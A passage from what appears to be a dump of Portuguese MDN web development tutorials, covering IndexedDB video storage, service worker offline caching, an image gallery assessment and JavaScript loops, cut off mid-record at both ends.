explaining — we retrieve the ID of the record to be deleted using `Number(e.target.parentNode.getAttribute('data-note-id'))` — recall that the ID of the record was saved in a `data-note-id` attribute on the `<li>` when it was first displayed. We do however need to pass the attribute through the global built-in `Number()` object as it is of datatype string, and therefore wouldn't be recognized by the database, which expects a number.\n* We then get a reference to the object store using the same pattern we've seen previously, and use the `IDBObjectStore.delete()` (en-US) method to delete the record from the database, passing it the ID.\n* When the database transaction is complete, we delete the note's `<li>` from the DOM, and again do the check to see if the `<ul>` is now empty, inserting a note as appropriate.\n\nSo that's it! Your example should now work.\n\nIf you are having trouble with it, feel free to check it against our live example (see the source code also).\n\n### Storing complex data via IndexedDB\n\nAs we mentioned above, IndexedDB can be used to store more than just simple text strings. You can store just about anything you want, including complex objects such as video or image blobs. And it isn't much more difficult to achieve than any other type of data.\n\nTo demonstrate how to do it, we've written another example called IndexedDB video store (see it running live here also). When you first run the example, it downloads all the videos from the network, stores them in an IndexedDB database, and then displays the videos in the UI inside `<video>` elements. The second time you run it, it finds the videos in the database and gets them from there instead before displaying them — this makes subsequent loads much quicker and less bandwidth-hungry.\n\nLet's walk through the most interesting parts of the example. We won't look at it all — a lot of it is similar to the previous example, and the code is well-commented.\n\n1. For this simple example, we've stored the names of the videos to fetch in an array of objects:\n\n```js\nconst videos = [\n  { name: \"crystal\" },\n  { name: \"elf\" },\n  { name: \"frog\" },\n  { name: \"monster\" },\n  { name: \"pig\" },\n  { name: \"rabbit\" },\n];\n```\n\n2. To start with, once the database is successfully opened we run an `init()` function. This loops through the different video names, trying to load a record identified by each name from the `videos` database.\n If each video is found in the database (easily checked by seeing whether `request.result` evaluates to `true` — if the record is not present, it will be `undefined`), its video files (stored as blobs) and the video name are passed straight to the `displayVideo()` function to place them in the UI. If not, the video name is passed to the `fetchVideoFromNetwork()` function to ... you guessed it — fetch the video from the network.\n\n```js\nfunction init() {\n  // Loop through the video names one by one\n  for (let i = 0; i < videos.length; i++) {\n    // Open transaction, get object store, and get() each video by name\n    let objectStore = db.transaction(\"videos\\_os\").objectStore(\"videos\\_os\");\n    let request = objectStore.get(videos[i].name);\n    request.onsuccess = function () {\n      // If the result exists in the database (is not undefined)\n      if (request.result) {\n        // Grab the videos from IDB and display them using displayVideo()\n        console.log(\"taking videos from IDB\");\n        displayVideo(\n          request.result.mp4,\n          request.result.webm,\n          request.result.name,\n        );\n      } else {\n        // Fetch the videos from the network\n        fetchVideoFromNetwork(videos[i]);\n      }\n    };\n  }\n}\n```\n\n3. The following snippet is taken from inside `fetchVideoFromNetwork()` — here we fetch MP4 and WebM versions of the video using two separate `WindowOrWorkerGlobalScope.fetch()` requests. We then use the `Body.blob()` method to extract each response's body as a blob, giving us an object representation of the videos that can be stored and displayed later on.\n We have a problem here though — these two requests are both asynchronous, but we only want to try to display or store the video when both promises have fulfilled. Fortunately there is a built-in method that handles such a problem — `Promise.all()`. This takes one argument — references to all the individual promises you want to check for fulfillment placed in an array — and is itself promise-based.\n When all those promises have fulfilled, the `all()` promise fulfills with an array containing all the individual fulfillment values. Inside the `all()` block, you can see that we then call the `displayVideo()` function like we did before to display the videos in the UI, then we also call the `storeVideo()` function to store those videos inside the database.\n\n```js\nlet mp4Blob = fetch(\"videos/\" + video.name + \".mp4\").then((response) =>\n  response.blob(),\n);\nlet webmBlob = fetch(\"videos/\" + video.name + \".webm\").then((response) =>\n  response.blob(),\n);\n\n// Only run the next code when both promises have fulfilled\nPromise.all([mp4Blob, webmBlob]).then(function (values) {\n  // display the video fetched from the network with displayVideo()\n  displayVideo(values[0], values[1], video.name);\n  // store it in the IDB using storeVideo()\n  storeVideo(values[0], values[1], video.name);\n});\n```\n\n4. Let's look at `storeVideo()` first. This is very similar to the pattern you saw in the previous example for adding data to the database — we open a `readwrite` transaction and get a reference to our `videos_os` object store, create an object representing the record to add to the database, then simply add it using `IDBObjectStore.add()` (en-US).\n\n```js\nfunction storeVideo(mp4Blob, webmBlob, name) {\n  // Open transaction, get object store; make it a readwrite so we can write to the IDB\n  let objectStore = db.transaction(['videos\\_os'], 'readwrite').objectStore('videos\\_os');\n  // Create a record to add to the IDB\n  let record = {\n    mp4 : mp4Blob,\n    webm : webmBlob,\n    name : name\n  }\n\n  // Add the record to the IDB using add()\n  let request = objectStore.add(record);\n\n  ...\n\n};\n```\n\n5. Last but not least, we have `displayVideo()`, which creates the DOM elements needed to insert the video in the UI and then appends them to the page. The most interesting parts of this are those shown below — to actually display our video blobs in a `<video>` element, we need to create object URLs (internal URLs that point to the video blobs stored in memory) using the `URL.createObjectURL()` method. Once that is done, we can set the object URLs to be the values of our `<source>` element's `src` attributes, and it works fine.\n\n```js\nfunction displayVideo(mp4Blob, webmBlob, title) {\n  // Create object URLs out of the blobs\n  let mp4URL = URL.createObjectURL(mp4Blob);\n  let webmURL = URL.createObjectURL(webmBlob);\n\n  ...\n\n  const video = document.createElement('video');\n  video.controls = true;\n  const source1 = document.createElement('source');\n  source1.src = mp4URL;\n  source1.type = 'video/mp4';\n  const source2 = document.createElement('source');\n  source2.src = webmURL;\n  source2.type = 'video/webm';\n\n  ...\n}\n```\n\nOffline asset storage\n---------------------\n\nThe above example already shows how to create an app that will store large assets in an IndexedDB database, avoiding the need to download them more than once. This is already a great improvement to the user experience, but there is still one thing missing — the main HTML, CSS, and JavaScript files still need to be downloaded each time the site is accessed, meaning that it won't work when there is no network connection.\n\n![](/pt-BR/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage/ff-offline.png)\n\nThis is where Service workers and the closely-related Cache API come in.\n\nA service worker is a JavaScript file that, simply put, is registered against a particular origin (web site, or part of a web site at a certain domain) when it is accessed by a browser. When registered, it can control pages available at that origin. It does this by sitting between a loaded page and the network and intercepting network requests aimed at that origin.\n\nWhen it intercepts a request, it can do anything you wish to it (see use case ideas), but the classic example is saving the network responses offline and then providing those in response to a request instead of the responses from the network. In effect, it allows you to make a web site work completely offline.\n\nThe Cache API is a another client-side storage mechanism, with a bit of a difference — it is designed to save HTTP responses, and so works very well with service workers.\n\n**Nota:** Service workers and Cache are supported in most modern browsers now. At the time of writing, Safari was still busy implementing it, but it should be there soon.\n\n### A service worker example\n\nLet's look at an example, to give you a bit of an idea of what this might look like. We have created another version of the video store example we saw in the previous section — this functions identically, except that it also saves the HTML, CSS, and JavaScript in the Cache API via a service worker, allowing the example to run offline!\n\nSee IndexedDB video store with service worker running live, and also see the source code.\n\n#### Registering the service worker\n\nThe first thing to note is that there's an extra bit of code placed in the main JavaScript file (see index.js). First we do a feature detection test to see if the `serviceWorker` member is available in the `Navigator` (en-US) object. If this returns true, then we know that at least the basics of service workers are supported. Inside here we use the `ServiceWorkerContainer.register()` method to register a service worker contained in the `sw.js` file against the origin it resides at, so it can control pages in the same directory as it, or subdirectories. When its promise fulfills, the service worker is deemed registered.\n\n\n```js\n// Register service worker to control making site work offline\n\nif (\"serviceWorker\" in navigator) {\n  navigator.serviceWorker\n    .register(\n      \"/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js\",\n    )\n    .then(function () {\n      console.log(\"Service Worker Registered\");\n    });\n}\n```\n\n\n**Nota:** The given path to the `sw.js` file is relative to the site origin, not the JavaScript file that contains the code. The service worker is at `https://mdn.github.io/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js`. The origin is `https://mdn.github.io`, and therefore the given path has to be `/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js`. If you wanted to host this example on your own server, you'd have to change this accordingly. This is rather confusing, but it has to work this way for security reasons.\n\n#### Installing the service worker\n\nThe next time any page under the service worker's control is accessed (e.g. when the example is reloaded), the service worker is installed against that page, meaning that it will start controlling it. When this occurs, an `install` event is fired against the service worker; you can write code inside the service worker itself that will respond to the installation.\n\nLet's look at an example, in the sw.js file (the service worker). You'll see that the install listener is registered against `self`. This `self` keyword is a way to refer to the global scope of the service worker from inside the service worker file.\n\nInside the `install` handler we use the `ExtendableEvent.waitUntil()` (en-US) method, available on the event object, to signal that the browser shouldn't complete installation of the service worker until after the promise inside it has fulfilled successfully.\n\nHere is where we see the Cache API in action. We use the `CacheStorage.open()` (en-US) method to open a new cache object in which responses can be stored (similar to an IndexedDB object store). This promise fulfills with a `Cache` object representing the `video-store` cache. We then use the `Cache.addAll()` (en-US) method to fetch a series of assets and add their responses to the cache.\n\n\n```js\nself.addEventListener(\"install\", function (e) {\n  e.waitUntil(\n    caches.open(\"video-store\").then(function (cache) {\n      return cache.addAll([\n        \"/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/\",\n        \"/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/index.html\",\n        \"/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/index.js\",\n        \"/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/style.css\",\n      ]);\n    }),\n  );\n});\n```\n\n\nThat's it for now, installation done.\n\n#### Responding to further requests\n\nWith the service worker registered and installed against our HTML page, and the relevant assets all added to our cache, we are nearly ready to go. There is only one more thing to do, write some code to respond to further network requests.\n\nThis is what the second bit of code in `sw.js` does. We add another listener to the service worker global scope, which runs the handler function when the `fetch` event is raised. This happens whenever the browser makes a request for an asset in the directory the service worker is registered against.\n\nInside the handler we first log the URL of the requested asset. We then provide a custom response to the request, using the `FetchEvent.respondWith()` (en-US) method.\n\nInside this block we use `CacheStorage.match()` (en-US) to check whether a matching request (i.e. matches the URL) can be found in any cache. This promise fulfills with the matching response if a match is found, or `undefined` if it isn't.\n\nIf a match is found, we simply return it as the custom response. If not, we fetch() the response from the network and return that instead.\n\n\n```js\nself.addEventListener(\"fetch\", function (e) {\n  console.log(e.request.url);\n  e.respondWith(\n    caches.match(e.request).then(function (response) {\n      return response || fetch(e.request);\n    }),\n  );\n});\n```\n\n\nAnd that is it for our simple service worker. There is a whole load more you can do with them — for a lot more detail, see the service worker cookbook. And thanks to Paul Kinlan for his article Adding a Service Worker and Offline into your Web App, which inspired this simple example.\n\n#### Testing the example offline\n\nTo test our service worker example, you'll need to load it a couple of times to make sure it is installed. Once this is done, you can:\n\n* Try unplugging your network/turning your Wifi off.\n* Select *File > Work Offline* if you are using Firefox.\n* Go to the devtools, then choose *Application > Service Workers*, then check the *Offline* checkbox if you are using Chrome.\n\nIf you refresh your example page again, you should still see it load just fine. Everything is stored offline — the page assets in a cache, and the videos in an IndexedDB database.\n\nSummary\n-------\n\nThat's it for now. We hope you've found our rundown of client-side storage technologies useful.\n\nSee also\n--------\n\n* Web storage API\n* IndexedDB API\n* Cookies\n* Service worker API\n* Anterior  (en-US)\n* Menu: Client-side web APIs"}
{"title":"Galeria de Imagens - Aprendendo desenvolvimento web","text":"Galeria de Imagens\n==================\n\n* Anterior\n* Menu: Building blocks\n\nAgora que analisamos os blocos de construção fundamentais do JavaScript, testaremos seu conhecimento de loops, funções, condicionais e eventos, fazendo com que você crie um item bastante comum que você verá em muitos sites — uma galeria de imagens ativadas em JavaScript.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Antes de tentar esta avaliação, você já deve ter trabalhado em todos os\n artigos deste módulo.\n  |\n| Objetivo: | \n Para testar a compreensão de loops, funções, condicionais e eventos de\n JavaScript.\n  |\n\nPonto de partida\n----------------\n\nPara começar esta avaliação, você deve pegar o arquivo ZIP para o exemplo e descompactá-lo em algum lugar no seu computador.\n\n**Nota:** Como alternativa, você pode usar um site como o JSBin ou Thimble para fazer sua avaliação. Você pode colar o HTML, CSS e JavaScript em um desses editores on-line. Se o editor on-line que você está usando não tiver painéis JavaScript / CSS separados, sinta-se à vontade para colocar os elementos in-line `<script>` e `<style>` dentro da página HTML.\n\nResumo do projeto\n-----------------\n\nVocê recebeu alguns recursos de HTML, CSS e imagem e algumas linhas de código JavaScript; você precisa escrever o JavaScript necessário para transformar isso em um programa de trabalho. O corpo do HTML se parece com isto:\n\n\n```html\n<h1>Image gallery example</h1>\n\n<div class=\"full-img\">\n  <img class=\"displayed-img\" src=\"images/pic1.jpg\" />\n  <div class=\"overlay\"></div>\n  <button class=\"dark\">Darken</button>\n</div>\n\n<div class=\"thumb-bar\"></div>\n```\n\n\nO exemplo é assim:\n\n![](/pt-BR/docs/Learn/JavaScript/Building_blocks/Image_gallery/gallery.png)\n\nAs partes mais interessantes do arquivo CSS do exemplo:\n\n* Absolutamente posicione os três elementos dentro do `full-img <div>` — o `<img>` no qual a imagem em tamanho normal é exibida, um `<div>` vazio que é dimensionado para ser do mesmo tamanho que o `<img>` e colocado sobre a parte superior (isso é usado para aplicar um efeito de escurecimento à imagem através de uma cor de fundo semitransparente) e um `<button>` que é usado para controlar o efeito de escurecimento.\n* Defina a largura de qualquer imagem dentro da thumb-bar `thumb-bar <div>` (as chamadas imagens \"thumbnail\") para 20%, e flutue-as para a esquerda para que elas fiquem lado a lado em uma linha.\n\nSeu JavaScript precisa:\n\n* Faça um loop em todas as imagens e, para cada uma, insira um elemento `<img>` dentro do `thumb-bar <div>` que incorporará a imagem na página.\n* Anexe um manipulador `onclick` para cada `<img>` dentro do `thumb-bar <div>` para que, quando clicados, a imagem correspondente seja exibida no elemento `displayed-img <img>`.\n* Anexe um manipulador `onclick` ao `<button>` para que, ao ser clicado, um efeito de escurecimento seja aplicado à imagem em tamanho normal. Quando é clicado novamente, o efeito de escurecimento é removido novamente.\n\nPara lhe dar mais uma ideia, dê uma olhada no exemplo finalizado (não espreite o código-fonte!)\n\nPassos para concluir\n--------------------\n\nAs seções a seguir descrevem o que você precisa fazer.\n\n### Looping através das imagens\n\nJá fornecemos a você linhas que armazenam uma referência à `thumb-bar <div>` dentro de uma variável chamada `thumbBar`, cria um novo elemento `<img>` define seu atributo `src` como um valor de espaço reservado `xxx`, e acrescenta essa nova `<img>` elemento dentro do `thumbBar`.\n\nVocê precisa:\n\n1. Coloque a seção de código abaixo do comentário \"Looping through images\" dentro de um loop que percorre todas as 5 imagens — você só precisa percorrer cinco números, um representando cada imagem.\n2. Em cada iteração de loop, substitua o valor de espaço reservado `xxx` por uma string que seja igual ao caminho para a imagem em cada caso. Estamos definindo o valor do atributo `src` para esse valor em cada caso. Tenha em mente que, em cada caso, a imagem está dentro do diretório de imagens e seu nome é `pic1.jpg`, `pic2.jpg`, etc.\n### Adicionando um manipulador onclick a cada imagem em miniatura\n\nEm cada iteração de loop, você precisa adicionar um manipulador `onclick` ao atual `newImage` — isso deve:\n\n1. Encontre o valor do atributo `src` da imagem atual. Isto pode ser feito executando a função `getAttribute()` no `<img>` em cada caso e passando um parâmetro de `\"src\"` em cada caso. Mas como conseguir a imagem? O uso do `newImage.getAttribute()` não funcionará, pois o loop é concluído antes de os manipuladores de eventos serem aplicados; fazer desta forma resultaria no retorno do valor `src` do último `<img>` para todos os casos. Para resolver isso, tenha em mente que, no caso de cada manipulador de eventos, o `<img>` é o destino do manipulador. Que tal obter as informações do objeto de evento?\n2. Rode uma função, passando o valor `src` retornado como um parâmetro. Você pode chamar essa função como quiser.\n3. Esta função do manipulador de eventos deve definir o valor do atributo `src` do `displayed-img <img>` para o valor `src` passado como um parâmetro. Já fornecemos uma linha que armazena uma referência ao `<img>` relevante em uma variável chamada `displayedImg`. Note que queremos uma função nomeada definida aqui.\n### Escrevendo um manipulador que executa o botão escurecer / clarear\n\nIsso só deixa o nosso escurecer / clarear `<button>` — nós já fornecemos uma linha que armazena uma referência ao `<button>` em uma variável chamada `btn`. Você precisa adicionar um manipulador `onclick` que:\n\n1. Verifica o nome da classe atual definido no `<button>` — você pode novamente fazer isso usando `getAttribute()`.\n2. Se o nome da classe for `\"dark\"`, altera a classe `<button>` para `\"light\"` (usando `setAttribute()`), seu conteúdo de texto para \"Lighten\", e o `background-color` da sobreposição `<div>` para `\"rgba(0,0,0,0.5)\"`.\n3. Se o nome da classe não for `\"dark\"`, a classe `<button>` será alterada para `\"dark\"`, o conteúdo de texto de volta para \"Darken\", e o `background-color` da sobreposição `<div>` para `\"rgba(0,0,0,0)\"`.\n\nAs linhas seguintes fornecem uma base para alcançar as mudanças estipuladas nos pontos 2 e 3 acima.\n\n\n```js\nbtn.setAttribute(\"class\", xxx);\nbtn.textContent = xxx;\noverlay.style.backgroundColor = xxx;\n```\n\nDicas e sugestões\n-----------------\n\n* Você não precisa editar o HTML ou CSS de forma alguma.\nAvaliação\n---------\n\nSe você está seguindo esta avaliação como parte de um curso organizado, você deve poder dar seu trabalho ao seu professor / mentor para marcação. Se você é auto-didata, então pode obter o guia de marcação com bastante facilidade, perguntando no tópico de discussão sobre este exercício, ou no canal #mdn IRC da Mozilla IRC. Tente o exercício primeiro — não há nada a ganhar com a trapaça!\n\n* Anterior\n* Menu: Building blocks"}
{"title":"Código em loop - Aprendendo desenvolvimento web","text":"Código em loop\n==============\n\n* Anterior\n* Menu: Building blocks\n* Próxima\n\nAs linguagens de programação são muito úteis para concluir rapidamente tarefas repetitivas, desde vários cálculos básicos até praticamente qualquer outra situação em que você tenha muitos itens semelhantes para manipular. Aqui, veremos as estruturas de loop disponíveis no JavaScript que ajudam com essas necessidades..\n\n|  |  |\n| --- | --- |\n| Prerequisitos: | \n Conhecimento básico em informática, um básico entendimento de HTML e\n CSS,\n JavaScript first steps.\n  |\n| Objectivo: | Entender como usar loops em JavaScript. |\n\nMantenha-me no loop(laço)\n-------------------------\n\nLoops, loops, loops. Além de estarem associados a populares cereais matinais, montanhas-russas e produção musical, eles também são um conceito importante na programação. O loop de programação é como fazer a mesma coisa repetidas vezes - o que é chamado de **iteração** na linguagem de programação.\n\nVamos considerar o caso de um agricultor que quer se certificar de que ele terá comida suficiente para alimentar sua família durante a semana. Ele pode usar o seguinte loop para conseguir isso:\n\n![](/pt-BR/docs/Learn/JavaScript/Building_blocks/Looping_code/loop_js-02-farm.png)\n\nUm loop geralmente possui um ou mais dos seguintes itens:\n\n* O **contador**, que é inicializado com um certo valor - este é o ponto inicial do loop (\"Iniciar: não tenho comida\", figura acima).\n* A **condição de saída**, que é o critério no qual o loop pára - geralmente o contador atinge um certo valor. Isso é ilustrado por \"Tenho comida suficiente?\", na figura acima. Vamos dizer que ele precisa de 10 porções de comida para alimentar sua família.\n* Um **iterador**, que geralmente incrementa o contador em uma pequena quantidade a cada loop, sucessivamente, até atingir a condição de saída. Nós não ilustramos explicitamente isso acima, mas poderíamos pensar sobre o agricultor ser capaz de coletar 2 porções de comida por hora. Depois de cada hora, a quantidade de comida que ele coletou é incrementada em dois, e ele verifica se ele tem comida suficiente. Se ele atingiu 10 porções (a condição de saída), ele pode parar de coletar e ir para casa.\n\nNo seu pseudocode (en-US), isso seria algo como o seguinte:\n```\n\nloop(food = 0; foodNeeded = 10) {\n  if (food = foodNeeded) {\n    exit loop;\n    // Nós temos comida o suficiente, Vamos para casa\n  } else {\n    food += 2; // Passe uma hora coletando mais 2 alimentos(food)\n    // loop será executado novamente\n  }\n}\n```\n\n\nAssim, a quantidade de comida necessária é fixada em 10, e o montante que o agricultor tem atualmente é fixado em 0. Em cada iteração do ciclo, verificamos se a quantidade de alimento que o agricultor tem é igual à quantidade que ele precisa. Se assim for, podemos sair do loop. Se não, o agricultor gasta mais uma hora coletando duas porções de comida, e o laço é executado novamente.\n\n### Porque se importar?\n\nNeste ponto, você provavelmente já entendeu o conceito de alto nível por trás dos loops, mas provavelmente está pensando \"OK, ótimo, mas como isso me ajuda a escrever um código JavaScript melhor?\" Como dissemos anteriormente, **os loops têm tudo a ver com fazer a mesma coisa repetidas vezes, o que é ótimo para concluir rapidamente tarefas repetitivas**.\n\nMuitas vezes, o código será um pouco diferente em cada iteração sucessiva do loop, o que significa que você pode completar toda uma carga de tarefas que são semelhantes, mas não são totalmente iguais — se você tem muitos cálculos diferentes para fazer, e você quer fazer um diferente do outro, e não o mesmo repetidamente!\n\nVejamos um exemplo para ilustrar perfeitamente por que os loops são uma coisa tão boa. Digamos que quiséssemos desenhar 100 círculos aleatórios em um elemento `<canvas>` (pressione o botão Atualizar para executar o exemplo várias vezes para ver os conjuntos aleatórios diferentes):\n```\n\n<!doctype html>\n<html>\n  <head>\n    <meta charset=\"utf-8\" />\n    <title>Random canvas circles</title>\n    <style>\n html {\n width: 100%;\n height: inherit;\n background: #ddd;\n }\n\n canvas {\n display: block;\n }\n\n body {\n margin: 0;\n }\n\n button {\n position: absolute;\n top: 5px;\n left: 5px;\n }\n </style>\n  </head>\n  <body>\n    <button>Update</button>\n\n    <canvas></canvas>\n\n    <script>\n var btn = document.querySelector(\"button\");\n var canvas = document.querySelector(\"canvas\");\n var ctx = canvas.getContext(\"2d\");\n\n var WIDTH = document.documentElement.clientWidth;\n var HEIGHT = document.documentElement.clientHeight;\n\n canvas.width = WIDTH;\n canvas.height = HEIGHT;\n\n function random(number) {\n return Math.floor(Math.random() \\* number);\n }\n\n function draw() {\n ctx.clearRect(0, 0, WIDTH, HEIGHT);\n for (var i = 0; i < 100; i++) {\n ctx.beginPath();\n ctx.fillStyle = \"rgba(255,0,0,0.5)\";\n ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 \\* Math.PI);\n ctx.fill();\n }\n }\n\n btn.addEventListener(\"click\", draw);\n </script>\n  </body>\n</html>\n```\n\n\nVocê não precisa entender todo esse código por enquanto, mas vamos ver a parte do código que realmente desenha os 100 círculos:\n\n\n```js\nfor (var i = 0; i < 100; i++) {\n  ctx.beginPath();\n  ctx.fillStyle = \"rgba(255,0,0,0.5)\";\n  ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 \\* Math.PI);\n  ctx.fill();\n}\n```\n\n\n* `random()`, definido anteriormente no código, retorna um número inteiro entre `0` e `x-1`.\n* `WIDTH` e `HEIGHT` são a largura e a altura da janela interna do navegador.\n\nVocê deve ter notado - estamos usando um loop para executar 100 iterações desse código, cada uma delas desenhando um círculo em uma posição aleatória na página. A quantidade de código necessária seria a mesma se estivéssemos desenhando 100 círculos, 1.000 ou 10.000. Apenas um número tem que mudar.\n\nSe não estivéssemos usando um loop aqui, teríamos que repetir o seguinte código para cada círculo que queríamos desenhar:\n\n\n```js\nctx.beginPath();\nctx.fillStyle = \"rgba(255,0,0,0.5)\";\nctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 \\* Math.PI);\nctx.fill();\n```\n\n\nIsso ficaria muito chato, difícil e lento de manter. Loops são realmente os melhores.\n\nLoop padrão for\n---------------\n\nVamos começar a explorar alguns exemplos específicos de construções de loop. O primeiro e que você usará na maior parte do tempo, é o loop for - ele tem a seguinte sintaxe:\n```\n\nfor (inicializador; condição-saída; expressão-final) {\n  // código para executar\n}\n```\n\n\nAqui nós temos:\n\n1. A palavra-chave `for`, seguido por parênteses.\n2. Dentro do parênteses temos três itens, separados por ponto e vírgula:\n    1. O **inicializador**— geralmente é uma variável configurada para um número, que é incrementado para contar o número de vezes que o loop foi executado. É também por vezes referido como uma **variável de contador**.\n    2. A **condição-saída** — como mencionado anteriormente, aqui é definido quando o loop deve parar de executar. Geralmente, essa é uma expressão que apresenta um operador de comparação, um teste para verificar se a condição de saída foi atendida.\n    3. A **expressão-final** — isso sempre é avaliado (ou executado) cada vez que o loop passou por uma iteração completa. Geralmente serve para incrementar (ou, em alguns casos, decrementar) a variável do contador, aproximando-a do valor da condição de saída.\n3. Algumas chaves contêm um bloco de código - esse código será executado toda vez que o loop for iterado.\n\nVejamos um exemplo real para podermos visualizar o que isso faz com mais clareza.\n\n\n```js\nvar cats = [\"Bill\", \"Jeff\", \"Pete\", \"Biggles\", \"Jasmin\"];\nvar info = \"My cats are called \";\nvar para = document.querySelector(\"p\");\n\nfor (var i = 0; i < cats.length; i++) {\n  info += cats[i] + \", \";\n}\n\npara.textContent = info;\n```\n\n\nIsso nos dá a seguinte saída:\n```\n\n<!doctype html>\n<html>\n  <head>\n    <meta charset=\"utf-8\" />\n    <title>Basic for loop example</title>\n    <style></style>\n  </head>\n  <body>\n    <p></p>\n\n    <script>\n var cats = [\"Bill\", \"Jeff\", \"Pete\", \"Biggles\", \"Jasmin\"];\n var info = \"My cats are called \";\n var para = document.querySelector(\"p\");\n\n for (var i = 0; i < cats.length; i++) {\n info += cats[i] + \", \";\n }\n\n para.textContent = info;\n </script>\n  </body>\n</html>\n```\n\n\n> \n> \\*\\*Nota:\\*\\*Você pode encontrar este código de exemplo no GitHub (também veja em execução).\n> \n> \n> \n\nAqui mostra um loop sendo usado para iterar os itens em uma matriz e fazer algo com cada um deles - um padrão muito comum em JavaScript. Aqui:\n\n1. O iterador, `i`, começa em `0` (`var i = 0`).\n2. Foi dito para executar até que não seja menor que o comprimento do array dos gatos. Isso é importante - a condição de saída mostra a condição sob a qual o loop ainda será executado. No caso, enquanto `i < cats.length` for verdadeiro, o loop continuará executando.\n3. Dentro do loop, nós concatenamos o item de loop atual (`cats[i]` é `cats[o nome do item que está iterado no momento]`) junto com uma vírgula e um espaço, no final da variável `info` . Assim:\n    1. Durante a primeira execução, `i = 0`, então `cats[0] + ', '` será concatenado na variável info (\"Bill\").\n    2. Durante a segunda execução, `i = 1`, so `cats[1] + ', '` será concatenado na variável info (\"Jeff, \")\n    3. E assim por diante. Após cada execução do loop, 1 será adicionado à `i` (`i++`), então o processo será iniciado novamente.\n4. Quando `i` torna-se igual a `cats.length`, o loop é interrompido e o navegador passará para o próximo trecho de código abaixo do loop.\n\n**Nota:** :Nós fizemos a condição de saída `i < cats.length`, e não `i <= cats.length`, porque os computadores contam a partir de 0, não 1 - estamos começando `i` em `0`, e indo até `i = 4` (o index do último item do array). `cats.length` retorna 5, pois há 5 itens no array, mas não queremos chegar até `i = 5`, pois isso retornaria `undefined` para o último item (não há nenhum item no índice 5 do array). Então, portanto, queremos ir até 1 a menos de `cats.length` (`i <`), não é o mesmo que `cats.length` (`i <=`).\n\n**Nota:** Um erro comum nas condições de saída é usá-las \"igual a\" (`===`) em vez de dizer \"menor ou igual a\" (`<=`). Se quiséssemos executar nosso loop até `i = 5`, a condição de saída precisaria ser `i <= cats.length`. Se nós setarmos para `i === cats.length`, o loop não seria executado em todos, porque `i` não é igual a `5` na primeira iteração do loop, a execução pararia imediatamente.\n\nUm pequeno problema que nos resta é que a sentença de saída final não é muito bem formada:\n\n> \n> Meus gatos se chamam: Bill, Jeff, Pete, Biggles, Jasmin,\n> \n> \n> \n\nNeste caso, queremos alterar a concatenação na iteração final do loop, para que não tenhamos uma vírgula no final da frase. Bem, não há problema - podemos muito bem inserir uma condicional dentro do nosso loop for para lidar com este caso especial:\n\n\n```js\nfor (var i = 0; i < cats.length; i++) {\n  if (i === cats.length - 1) {\n    info += \"and \" + cats[i] + \".\";\n  } else {\n    info += cats[i] + \", \";\n  }\n}\n```\n\n\n> \n> \\*\\*Nota:\\*\\*Você pode encontrar este código de exemplo no GitHub (também veja em execução).\n> \n> \n> \n\n**Aviso:** **Importante**: Com **for** - como acontece com todos os loops - você deve certificar-se de que o inicializador está iterado(configurado) para que ele atinja a condição de saída. Caso contrário, o loop continuará indefinidamente executando e o navegador irá forçá-lo a parar ou falhará. Isso é chamado de **loop infinito**.\n\nSaindo do loop com o break\n--------------------------\n\nSe você quiser sair de um loop antes que todas as iterações sejam concluídas, você poderá usar a instrução break. Nós já encontramos isso em um artigo anterior, quando observamos as instruções switch - quando um determinado caso é atendido em uma condição do switch e que corresponde à expressão de entrada informada, a instrução break sai imediatamente da instrução switch e passa para o trecho de código seguinte.\n\nÉ o mesmo com loops — um comando `break` irá imediatamente sair do loop e fazer o navegador passar para o código seguinte.\n\nDigamos que quiséssemos pesquisar por uma variedade de contatos e números de telefone e retornar apenas o número que queríamos encontrar? Primeiro, algum HTML simples — um texto `<input>` permitindo-nos iserir um nome para pesquisar, `<button>` elemento para submeter a pesquisa e um `<p>` elemento para mostrar o resultado em:\n\n\n```html\n<label for=\"search\">Search by contact name: </label>\n<input id=\"search\" type=\"text\" />\n<button>Search</button>\n\n<p></p>\n```\n\n\nAgora para no JavaScript:\n\n\n```js\nvar contacts = [\n  \"Chris:2232322\",\n  \"Sarah:3453456\",\n  \"Bill:7654322\",\n  \"Mary:9998769\",\n  \"Dianne:9384975\",\n];\nvar para = document.querySelector(\"p\");\nvar input = document.querySelector(\"input\");\nvar btn = document.querySelector(\"button\");\n\nbtn.addEventListener(\"click\", function () {\n  var searchName = input.value;\n  input.value = \"\";\n  input.focus();\n  for (var i = 0; i < contacts.length; i++) {\n    var splitContact = contacts[i].split(\":\");\n    if (splitContact[0] === searchName) {\n      para.textContent =\n        splitContact[0] + \"'s number is \" + splitContact[1] + \".\";\n      break;\n    } else {\n      para.textContent = \"Contact not found.\";\n    }\n  }\n});\n```\n\n\n```\n<!doctype html>\n<html>\n  <head>\n    <meta charset=\"utf-8\" />\n    <title>Simple contact search example</title>\n    <style></style>\n  </head>\n  <body>\n    <label for=\"search\">Search by contact name: </label>\n    <input id=\"search\" type=\"text\" />\n    <button>Search</button>\n\n    <p></p>\n\n    <script>\n var contacts = [\n \"Chris:2232322\",\n \"Sarah:3453456\",\n \"Bill:7654322\",\n \"Mary:9998769\",\n \"Dianne:9384975\",\n ];\n var para = document.querySelector(\"p\");\n var input = document.querySelector(\"input\");\n var btn = document.querySelector(\"button\");\n\n btn.addEventListener(\"click\", function () {\n var searchName = input.value;\n input.value = \"\";\n input.focus();\n for (var i = 0; i < contacts.length; i++) {\n var splitContact = contacts[i].split(\":\");\n if (splitContact[0] === searchName) {\n para.textContent =\n splitContact[0] + \"'s number is \" + splitContact[1] + \".\";\n break;\n } else if (i === contacts.length - 1)\n para.textContent = \"Contact not found.\";\n }\n });\n </script>\n  </body>\n</html>\n```\n\n\n1. Primeiramente, temos algumas definições de variáveis — temos um array com as informações dos contatos, cada item é uma string e contém um nome e um número de telefone separados por dois pontos.\n2. Em seguida, anexamos um ouvinte de evento 